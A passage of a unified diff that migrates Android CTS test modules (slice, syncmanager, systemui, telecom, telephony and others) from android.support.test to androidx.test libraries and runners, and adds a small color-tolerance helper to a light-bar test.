index 5a174cc..57d0116 100644
--- a/tests/tests/shortcutmanager/throttling/Android.mk
+++ b/tests/tests/shortcutmanager/throttling/Android.mk
@@ -29,11 +29,11 @@
$(call all-java-files-under, ../common/src)
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator \
ShortcutManagerTestUtils
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
index 4f097a4..4fef82d 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
+++ b/tests/tests/simpleperf/CtsSimpleperfDebugApp/Android.mk
@@ -20,7 +20,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml b/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml
index b3509c8..9f4a9e2 100644
--- a/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml
+++ b/tests/tests/simpleperf/CtsSimpleperfDebugApp/AndroidManifest.xml
@@ -22,5 +22,5 @@
</application>
<instrumentation
android:targetPackage="com.android.simpleperf"
- android:name="android.support.test.runner.AndroidJUnitRunner" />
+ android:name="androidx.test.runner.AndroidJUnitRunner" />
</manifest>
\ No newline at end of file
diff --git a/tests/tests/slice/Android.mk b/tests/tests/slice/Android.mk
index ff3ff3b..b440d19 100644
--- a/tests/tests/slice/Android.mk
+++ b/tests/tests/slice/Android.mk
@@ -27,10 +27,10 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- android-support-test \
- compatibility-device-util \
- ctsdeviceutillegacy \
- ctstestrunner \
+ androidx.test.rules \
+ compatibility-device-util-axt \
+ ctsdeviceutillegacy-axt \
+ ctstestrunner-axt \
metrics-helper-lib \
mockito-target-inline-minus-junit4 \
platform-test-annotations \
diff --git a/tests/tests/slice/AndroidManifest.xml b/tests/tests/slice/AndroidManifest.xml
index 6ec29bd..6eb21eb 100644
--- a/tests/tests/slice/AndroidManifest.xml
+++ b/tests/tests/slice/AndroidManifest.xml
@@ -50,7 +50,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.slice.cts"
android:label="CTS tests of android.slice">
<meta-data android:name="listener"
diff --git a/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java b/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java
index cbeb73f..8a655cd 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceBindingTest.java
@@ -32,8 +32,9 @@
import android.net.Uri;
import android.os.Bundle;
import android.slice.cts.SliceProvider.TestParcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java b/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
index 418e699..89f3ac1 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceBuilderTest.java
@@ -29,8 +29,9 @@
import android.net.Uri;
import android.os.Bundle;
import android.os.Parcel;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
index 5823cfb..69d8d80 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceManagerTest.java
@@ -32,8 +32,9 @@
import android.content.Intent;
import android.net.Uri;
import android.os.ParcelFileDescriptor;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
diff --git a/tests/tests/slice/src/android/slice/cts/SliceMetricsTest.java b/tests/tests/slice/src/android/slice/cts/SliceMetricsTest.java
index 64418aa..42287a0 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceMetricsTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceMetricsTest.java
@@ -19,16 +19,17 @@
import android.metrics.LogMaker;
import android.metrics.MetricsReader;
import android.net.Uri;
-import android.support.test.InstrumentationRegistry;
import android.support.test.metricshelper.MetricsAsserts;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.internal.logging.nano.MetricsProto.MetricsEvent;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import com.android.internal.logging.nano.MetricsProto.MetricsEvent;
-
@RunWith(AndroidJUnit4.class)
public class SliceMetricsTest {
diff --git a/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java b/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java
index 4163068..5081943 100644
--- a/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SlicePermissionsTest.java
@@ -24,8 +24,9 @@
import android.content.pm.PackageManager.NameNotFoundException;
import android.net.Uri;
import android.os.Process;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.After;
import org.junit.Before;
diff --git a/tests/tests/slice/src/android/slice/cts/SliceSpecTest.java b/tests/tests/slice/src/android/slice/cts/SliceSpecTest.java
index 8ac9b3e..978dc7c 100644
--- a/tests/tests/slice/src/android/slice/cts/SliceSpecTest.java
+++ b/tests/tests/slice/src/android/slice/cts/SliceSpecTest.java
@@ -20,7 +20,8 @@
import android.app.slice.SliceSpec;
import android.os.Parcel;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/speech/Android.mk b/tests/tests/speech/Android.mk
index 7fb9124..24576d6 100755
--- a/tests/tests/speech/Android.mk
+++ b/tests/tests/speech/Android.mk
@@ -22,8 +22,8 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- android-support-test
+ ctstestrunner-axt \
+ androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/speech/AndroidManifest.xml b/tests/tests/speech/AndroidManifest.xml
index cd5d46c..aaa521a 100755
--- a/tests/tests/speech/AndroidManifest.xml
+++ b/tests/tests/speech/AndroidManifest.xml
@@ -33,7 +33,7 @@
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.speech.tts.cts"
android:label="CTS tests of android.speech">
<meta-data android:name="listener"
diff --git a/tests/tests/syncmanager/Android.mk b/tests/tests/syncmanager/Android.mk
index 14515dd..ab16ed9 100755
--- a/tests/tests/syncmanager/Android.mk
+++ b/tests/tests/syncmanager/Android.mk
@@ -22,11 +22,11 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
CtsSyncManagerCommon \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
- ctstestrunner \
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
ub-uiautomator
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/tests/tests/syncmanager/AndroidManifest.xml b/tests/tests/syncmanager/AndroidManifest.xml
index 69ec2a8..a94fa02 100755
--- a/tests/tests/syncmanager/AndroidManifest.xml
+++ b/tests/tests/syncmanager/AndroidManifest.xml
@@ -25,7 +25,7 @@
<uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
<uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.content.syncmanager.cts"
android:label="CTS tests for sync manager">
<meta-data android:name="listener"
diff --git a/tests/tests/syncmanager/apps/app1/Android.mk b/tests/tests/syncmanager/apps/app1/Android.mk
index cd82ff3..c619fe3 100644
--- a/tests/tests/syncmanager/apps/app1/Android.mk
+++ b/tests/tests/syncmanager/apps/app1/Android.mk
@@ -26,10 +26,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
CtsSyncManagerCommon \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
+ compatibility-device-util-axt \
ub-uiautomator
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/syncmanager/apps/app2/Android.mk b/tests/tests/syncmanager/apps/app2/Android.mk
index 7ac3a62..50bc2f3 100644
--- a/tests/tests/syncmanager/apps/app2/Android.mk
+++ b/tests/tests/syncmanager/apps/app2/Android.mk
@@ -26,10 +26,10 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
CtsSyncManagerCommon \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target-minus-junit4 \
- compatibility-device-util \
+ compatibility-device-util-axt \
ub-uiautomator
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/syncmanager/common/Android.mk b/tests/tests/syncmanager/common/Android.mk
index be91071..c908b19 100644
--- a/tests/tests/syncmanager/common/Android.mk
+++ b/tests/tests/syncmanager/common/Android.mk
@@ -21,10 +21,10 @@
$(call all-proto-files-under, proto)
LOCAL_JAVA_LIBRARIES := \
- android-support-test \
+ androidx.test.rules \
androidx.legacy_legacy-support-v4 \
mockito-target \
- compatibility-device-util \
+ compatibility-device-util-axt \
android.test.runner.stubs
LOCAL_MODULE_TAGS := optional
diff --git a/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java b/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
index c70dcbe..c0db7fb 100644
--- a/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
+++ b/tests/tests/syncmanager/src/android/content/syncmanager/cts/CtsSyncManagerTest.java
@@ -41,11 +41,12 @@
import android.content.syncmanager.cts.SyncManagerCtsProto.Payload.Response;
import android.content.syncmanager.cts.SyncManagerCtsProto.Payload.SyncInvocation;
import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.AmUtils;
import com.android.compatibility.common.util.BatteryUtils;
import com.android.compatibility.common.util.OnFailureRule;
@@ -62,9 +63,7 @@
import org.junit.runner.RunWith;
import org.junit.runners.model.Statement;
-
// TODO Don't run if no network is available.
-
@LargeTest
@RunWith(AndroidJUnit4.class)
public class CtsSyncManagerTest {
diff --git a/tests/tests/systemintents/Android.mk b/tests/tests/systemintents/Android.mk
index 09ac3314..c68aaf1 100644
--- a/tests/tests/systemintents/Android.mk
+++ b/tests/tests/systemintents/Android.mk
@@ -27,7 +27,7 @@
LOCAL_PACKAGE_NAME := CtsSystemIntentTestCases
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
LOCAL_SDK_VERSION := test_current
diff --git a/tests/tests/systemintents/AndroidManifest.xml b/tests/tests/systemintents/AndroidManifest.xml
index da0cbac..15d9ef6 100644
--- a/tests/tests/systemintents/AndroidManifest.xml
+++ b/tests/tests/systemintents/AndroidManifest.xml
@@ -23,7 +23,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.systemintents.cts"
android:label="System intent tests"/>
</manifest>
\ No newline at end of file
diff --git a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
index f311fb2..f6911b3 100644
--- a/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
+++ b/tests/tests/systemintents/src/android/systemintents/cts/TestSystemIntents.java
@@ -24,10 +24,10 @@
import android.content.res.Configuration;
import android.net.Uri;
import android.provider.Settings;
-import android.support.test.filters.MediumTest;
-import android.support.test.runner.AndroidJUnit4;
-import android.support.test.InstrumentationRegistry;
-import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/systemui/Android.mk b/tests/tests/systemui/Android.mk
index df7e28b..5b519b2 100644
--- a/tests/tests/systemui/Android.mk
+++ b/tests/tests/systemui/Android.mk
@@ -27,8 +27,8 @@
LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- android-support-test \
+ ctstestrunner-axt \
+ androidx.test.rules \
ub-uiautomator
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/systemui/AndroidManifest.xml b/tests/tests/systemui/AndroidManifest.xml
index bdd6da7..6570661 100644
--- a/tests/tests/systemui/AndroidManifest.xml
+++ b/tests/tests/systemui/AndroidManifest.xml
@@ -31,7 +31,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.systemui.cts">
</instrumentation>
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
index 14d4bcb..52da2b5 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTestBase.java
@@ -16,7 +16,8 @@
package android.systemui.cts;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
import static org.junit.Assert.fail;
import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
@@ -26,13 +27,15 @@
import android.content.pm.PackageManager;
import android.content.res.Configuration;
import android.graphics.Bitmap;
+import android.graphics.Color;
import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.rule.ActivityTestRule;
import android.util.Log;
import android.view.DisplayCutout;
import android.view.WindowInsets;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
@@ -48,6 +51,8 @@
public static final Path DUMP_PATH = FileSystems.getDefault()
.getPath("/sdcard/LightBarTestBase/");
+ private static final int COLOR_DIFF_THESHOLDS = 2;
+
private ArrayList<Rect> mCutouts;
protected Bitmap takeStatusBarScreenshot(LightBarBaseActivity activity) {
@@ -169,7 +174,7 @@
continue;
}
- if (dividerColor != pixels[col]) {
+ if (!isColorSame(dividerColor, pixels[col])) {
diffCount++;
}
}
@@ -189,6 +194,13 @@
}
}
+ private static boolean isColorSame(int c1, int c2) {
+ return Math.abs(Color.alpha(c1) - Color.alpha(c2)) < COLOR_DIFF_THESHOLDS
+ && Math.abs(Color.red(c1) - Color.red(c2)) < COLOR_DIFF_THESHOLDS
+ && Math.abs(Color.green(c1) - Color.green(c2)) < COLOR_DIFF_THESHOLDS
+ && Math.abs(Color.blue(c1) - Color.blue(c2)) < COLOR_DIFF_THESHOLDS;
+ }
+
protected void assumeNavigationBarChangesColor(int backgroundColorPixelCount, int totalPixel) {
assumeTrue("Not enough background pixels. The navigation bar may not be able to change "
+ "color.", backgroundColorPixelCount > 0.3f * totalPixel);
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
index c9234d7..831c4de 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarTests.java
@@ -16,9 +16,9 @@
package android.systemui.cts;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
import android.app.Notification;
import android.app.NotificationChannel;
@@ -29,11 +29,12 @@
import android.graphics.Color;
import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.InputDevice;
import android.view.MotionEvent;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Rule;
import org.junit.Test;
import org.junit.rules.TestName;
diff --git a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
index 207b321..cf659de 100644
--- a/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
+++ b/tests/tests/systemui/src/android/systemui/cts/LightBarThemeTest.java
@@ -16,20 +16,18 @@
package android.systemui.cts;
-import static android.support.test.InstrumentationRegistry.getInstrumentation;
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeFalse;
import android.content.Context;
-import android.content.pm.PackageManager;
-import android.graphics.Bitmap;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.support.test.uiautomator.UiDevice;
import android.view.View;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/telecom/Android.mk b/tests/tests/telecom/Android.mk
index 8f46fd7..a2c74fc 100644
--- a/tests/tests/telecom/Android.mk
+++ b/tests/tests/telecom/Android.mk
@@ -25,9 +25,9 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner \
- android-support-test
+ compatibility-device-util-axt \
+ ctstestrunner-axt \
+ androidx.test.rules
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 6d2ed72..fafeb5a 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -126,7 +126,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.telecom.cts"
android:label="CTS tests for android.telecom package">
<meta-data android:name="listener"
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index 26a7d6c..fbd427c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -31,11 +31,12 @@
import android.os.Process;
import android.os.SystemClock;
import android.os.UserManager;
-import android.support.test.InstrumentationRegistry;
import android.telecom.PhoneAccount;
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
+import androidx.test.InstrumentationRegistry;
+
import junit.framework.TestCase;
import java.io.BufferedReader;
diff --git a/tests/tests/telecom2/Android.mk b/tests/tests/telecom2/Android.mk
index 5b22a92..fedfd89 100644
--- a/tests/tests/telecom2/Android.mk
+++ b/tests/tests/telecom2/Android.mk
@@ -25,8 +25,8 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- compatibility-device-util \
- ctstestrunner
+ compatibility-device-util-axt \
+ ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/telecom2/AndroidManifest.xml b/tests/tests/telecom2/AndroidManifest.xml
index 50c6945..00e58eb 100644
--- a/tests/tests/telecom2/AndroidManifest.xml
+++ b/tests/tests/telecom2/AndroidManifest.xml
@@ -73,7 +73,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.telecom2.cts"
android:label="CTS tests for android.telecom package">
<meta-data android:name="listener"
diff --git a/tests/tests/telecom3/Android.mk b/tests/tests/telecom3/Android.mk
index 3138e6c..7ae12e5 100644
--- a/tests/tests/telecom3/Android.mk
+++ b/tests/tests/telecom3/Android.mk
@@ -24,7 +24,7 @@
# When built, explicitly put it in the data partition.
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/telecom3/AndroidManifest.xml b/tests/tests/telecom3/AndroidManifest.xml
index 8207fb7..c606dcb 100644
--- a/tests/tests/telecom3/AndroidManifest.xml
+++ b/tests/tests/telecom3/AndroidManifest.xml
@@ -77,7 +77,7 @@
</activity>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.telecom3.cts"
android:label="CTS tests for android.telecom package">
<meta-data android:name="listener"
diff --git a/tests/tests/telephony/Android.mk b/tests/tests/telephony/Android.mk
index 6f3d71a..15cc3ab 100644
--- a/tests/tests/telephony/Android.mk
+++ b/tests/tests/telephony/Android.mk
@@ -25,8 +25,8 @@
LOCAL_JAVA_LIBRARIES := telephony-common
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util \
+ ctstestrunner-axt hamcrest-library \
+ compatibility-device-util-axt \
truth-prebuilt
LOCAL_HOST_SHARED_LIBRARIES := compatibility-device-telephony-preconditions
diff --git a/tests/tests/telephony/AndroidManifest.xml b/tests/tests/telephony/AndroidManifest.xml
index 2360145..97d12dd 100644
--- a/tests/tests/telephony/AndroidManifest.xml
+++ b/tests/tests/telephony/AndroidManifest.xml
@@ -170,7 +170,7 @@
android:value="android.telephony.mbms.cts"/>
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.telephony.cts"
android:label="CTS tests of android.telephony">
<meta-data android:name="listener"
diff --git a/tests/tests/telephony/preconditions/app/Android.mk b/tests/tests/telephony/preconditions/app/Android.mk
index fb64cd2..2ad1c6c 100644
--- a/tests/tests/telephony/preconditions/app/Android.mk
+++ b/tests/tests/telephony/preconditions/app/Android.mk
@@ -27,8 +27,8 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctstestrunner \
- compatibility-device-util \
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules ctstestrunner-axt \
+ compatibility-device-util-axt \
compatibility-device-preconditions
LOCAL_JAVA_LIBRARIES := android.test.base.stubs
diff --git a/tests/tests/telephony/preconditions/app/AndroidManifest.xml b/tests/tests/telephony/preconditions/app/AndroidManifest.xml
index 894b510..f84d1ec 100644
--- a/tests/tests/telephony/preconditions/app/AndroidManifest.xml
+++ b/tests/tests/telephony/preconditions/app/AndroidManifest.xml
@@ -22,7 +22,7 @@
<uses-library android:name="android.test.runner" />
</application>
- <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
android:targetPackage="android.telephony.cts.preconditions.app"
android:label="Device-side CTS telephony preparation" />
</manifest>
\ No newline at end of file
diff --git a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
index 18a18d7..edfc607 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -35,12 +35,13 @@
import android.net.Network;
import android.net.NetworkCapabilities;
import android.net.NetworkRequest;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.telephony.SubscriptionPlan;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.SystemUtil;
import org.junit.AfterClass;
diff --git a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
index a9bcb39..0eabad7 100644
--- a/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/TelephonyManagerTest.java
@@ -32,8 +32,6 @@
import android.net.wifi.WifiManager;
import android.os.Build;
import android.os.Looper;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.telecom.PhoneAccount;
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
@@ -46,6 +44,9 @@
import android.text.TextUtils;
import android.util.Log;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.TestThread;
import org.junit.After;
diff --git a/tests/tests/telephony/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java b/tests/tests/telephony/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
index d25bbc6..9afa104 100644
--- a/tests/tests/telephony/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
+++ b/tests/tests/telephony/src/android/telephony/euicc/cts/DownloadableSubscriptionTest.java
@@ -23,9 +23,10 @@
import android.os.Parcel;
import android.os.Parcelable;
-import android.support.test.runner.AndroidJUnit4;
import android.telephony.euicc.DownloadableSubscription;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccInfoTest.java b/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccInfoTest.java
index e6b122eb..30dfb4f 100644
--- a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccInfoTest.java
+++ b/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccInfoTest.java
@@ -22,14 +22,14 @@
import android.os.Parcel;
import android.os.Parcelable;
-import android.support.test.runner.AndroidJUnit4;
+import android.telephony.euicc.EuiccInfo;
+
+import androidx.test.runner.AndroidJUnit4;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
-import android.telephony.euicc.EuiccInfo;
-
@RunWith(AndroidJUnit4.class)
public class EuiccInfoTest {
diff --git a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccManagerTest.java b/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccManagerTest.java
index 920486e..70b47f9 100644
--- a/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/euicc/cts/EuiccManagerTest.java
@@ -25,12 +25,13 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
import android.telephony.euicc.DownloadableSubscription;
import android.telephony.euicc.EuiccInfo;
import android.telephony.euicc.EuiccManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
diff --git a/tests/tests/telephony2/Android.mk b/tests/tests/telephony2/Android.mk
index b86cae1..90cfe97 100644
--- a/tests/tests/telephony2/Android.mk
+++ b/tests/tests/telephony2/Android.mk
@@ -23,8 +23,8 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
LOCAL_STATIC_JAVA_LIBRARIES := \
- ctstestrunner \
- compatibility-device-util
+ ctstestrunner-axt \
+ compatibility-device-util-axt
LOCAL_SRC_FILES := $(call all-java-files-under, src)
diff --git a/tests/tests/telephony2/AndroidManifest.xml b/tests/tests/telephony2/AndroidManifest.xml
index 6b8ec0c..76a5888 100644
--- a/tests/tests/telephony2/AndroidManifest.xml
+++ b/tests/tests/telephony2/AndroidManifest.xml
@@ -23,7 +23,7 @@
<uses-library android:name="android.test.runner" />
